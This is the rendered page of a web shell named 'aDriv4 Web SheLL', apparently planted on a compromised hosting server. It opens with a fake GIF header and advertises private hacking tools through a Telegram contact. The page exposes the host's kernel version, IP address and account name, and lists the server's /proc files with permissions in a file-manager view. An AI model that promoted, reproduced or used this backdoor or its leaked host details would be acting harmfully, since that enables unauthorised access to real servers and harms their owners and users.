GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium90.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 63.250.38.10
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-20 09:14:14
.. dir - root/root 0755 2025-08-05 05:31:51
728721 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
729168 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
733596 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
733597 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
735313 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
738909 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
740831 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
742701 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
746150 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
763694 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
809871 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
816292 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
821830 dir - vosyimcw/vosyimcw 0555 2025-08-22 05:01:09
acpi dir - root/root 0555 2025-06-20 09:14:17
bus dir - root/root 0555 2025-06-20 09:14:26
driver dir - root/root 0555 2025-08-22 05:01:20
fs dir - root/root 0555 2025-06-20 09:14:26
irq dir - root/root 0555 2025-06-20 09:14:26
kcare dir - root/root 0555 2025-08-22 05:01:20
lve dir - root/root 0555 2025-08-22 05:01:19
net link - vosyimcw/vosyimcw 0555 2025-08-22 05:01:20
scsi dir - root/root 0555 2025-06-20 09:14:26
self link - vosyimcw/vosyimcw 0555 2025-08-22 05:00:49
sys dir - root/root 0555 2025-06-20 09:14:15
sysvipc dir - root/root 0555 2025-08-22 05:01:20
thread-self link - vosyimcw/vosyimcw 0555 2025-08-22 05:01:19
tty dir - root/root 0555 2025-08-22 05:01:20
buddyinfo 0 B root/root 0444 2025-08-22 05:01:20
cgroups 0 B root/root 0444 2025-08-22 05:01:20
cmdline text/plain 0 B root/root 0444 2025-08-22 05:01:19
consoles 0 B root/root 0444 2025-08-22 05:01:20
cpuinfo text/plain 0 B root/root 0444 2025-08-22 05:01:20
crypto 0 B root/root 0444 2025-08-22 05:01:20
devices 0 B root/root 0444 2025-08-22 05:01:20
diskstats 0 B root/root 0444 2025-08-22 05:01:19
dma 0 B root/root 0444 2025-08-22 05:01:20
execdomains 0 B root/root 0444 2025-08-22 05:01:20
fb 0 B root/root 0444 2025-08-22 05:01:20
filesystems text/plain 0 B root/root 0444 2025-08-22 05:01:19
interrupts 0 B root/root 0444 2025-08-22 05:01:20
iomem 0 B root/root 0444 2025-08-22 05:01:20
ioports 0 B root/root 0444 2025-08-22 05:01:20
kallsyms 0 B root/root 0444 2025-06-20 09:14:26
kcore 128 TB root/root 0400 2025-06-20 09:14:17
key-users 0 B root/root 0444 2025-08-22 05:01:20
keys 0 B root/root 0444 2025-08-22 05:01:20
kmsg 0 B root/root 0400 2025-08-22 05:01:20
kpagecgroup 0 B root/root 0400 2025-08-22 05:01:20
kpagecount 0 B root/root 0400 2025-08-22 05:01:20
kpageflags 0 B root/root 0400 2025-08-22 05:01:20
loadavg text/plain 0 B root/root 0444 2025-08-22 05:01:20
locks 0 B root/root 0444 2025-08-22 05:01:20
mdstat 0 B root/root 0444 2025-08-22 05:01:20
meminfo text/plain 0 B root/root 0444 2025-08-22 05:01:19
misc 0 B root/root 0444 2025-08-22 05:01:20
modules 0 B root/root 0444 2025-08-22 05:01:20
mounts text/plain 0 B vosyimcw/vosyimcw 0444 2025-08-22 05:01:20
mtrr 0 B root/root 0644 2025-06-20 09:14:26
pagetypeinfo 0 B root/root 0400 2025-08-22 05:01:20
partitions 0 B root/root 0444 2025-08-22 05:01:20
sched_debug 0 B root/root 0444 2025-08-22 05:01:20
schedstat 0 B root/root 0444 2025-08-22 05:01:20
slabinfo 0 B root/root 0400 2025-08-22 05:01:20
softirqs 0 B root/root 0444 2025-08-22 05:01:20
stat text/plain 0 B root/root 0444 2025-08-22 05:01:19
swaps 0 B root/root 0444 2025-06-20 09:14:15
sysrq-trigger 0 B root/root 0200 2025-06-20 09:14:26
timer_list 0 B root/root 0400 2025-08-22 05:01:20
uptime text/plain 0 B root/root 0444 2025-08-22 05:01:20
version text/plain 0 B root/root 0444 2025-08-22 05:01:20
vmallocinfo 0 B root/root 0400 2025-08-22 05:01:20
vmstat 0 B root/root 0444 2025-08-22 05:01:19
zoneinfo 0 B root/root 0444 2025-08-22 05:01:20
© aDriv4